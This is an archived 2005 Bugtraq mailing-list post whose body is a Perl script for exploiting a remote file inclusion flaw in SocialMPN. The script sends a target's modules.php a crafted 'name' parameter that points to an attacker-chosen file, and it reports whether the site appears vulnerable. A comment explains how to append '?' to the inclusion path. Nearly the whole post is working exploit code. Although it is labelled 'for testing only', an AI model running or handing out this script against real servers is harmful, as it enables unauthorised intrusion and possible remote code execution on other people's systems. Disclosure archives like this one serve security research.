bugtraq - Remote Testing SocialMPN Remote File Inclusion by y3dips

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20050307125034.18964.qmail@www.securityfocus.com>
Date: 7 Mar 2005 12:50:34 -0000
From: echo staff <y3dips@...o.or.id>
To: bugtraq@...urityfocus.com
Subject: Remote Testing SocialMPN Remote File Inclusion by y3dips




#!/usr/bin/perl -w
 
# Remote Testing SocialMPN Remote File Inclusion by y3dips [for testing only]
# Bug find by zer0-c00l , 
# Bug published at http://waraxe.us/ftopic-542-0-days0-orderasc-.html

print "  * Remote Testing  File Inclusion  for SocialMPN by y3dips *\n";

require LWP::UserAgent;

if(@ARGV == 2)
	{
      
$target= $ARGV[0];
$xploit= $ARGV[1];


my $ua = LWP::UserAgent->new;
$ua->agent("MSIE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;

$url = "http://$target/modules.php?name=$xploit&file=article&sid=2";
# just for trick , use "?" in the last char of your file inclusion path

my $injek = $ua->get($url);

	    print "  -------------------------------\n";
   if ($injek->is_success)  
   {
      $injekcek = $injek->as_string;
	if ($injekcek =~ /(HTTP\/1\.0 200 OK)/) 
        { print("\n    This Site Maybe Vulnerable \n"); }
      else      
        {die $injek->status_line;}
	    print "  -------------------------------\n";
        }
   }

else{
print "Use: perl $0 [target] [xplo.txt]  \n";
}  

#EOF y3dips(c)2005
#shout : zer0-c00l , echo staff @ ehco.or.id